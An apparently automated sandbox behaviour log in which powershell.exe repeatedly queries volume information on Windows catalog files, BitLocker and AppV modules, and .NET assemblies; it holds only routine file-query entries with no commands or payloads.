Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
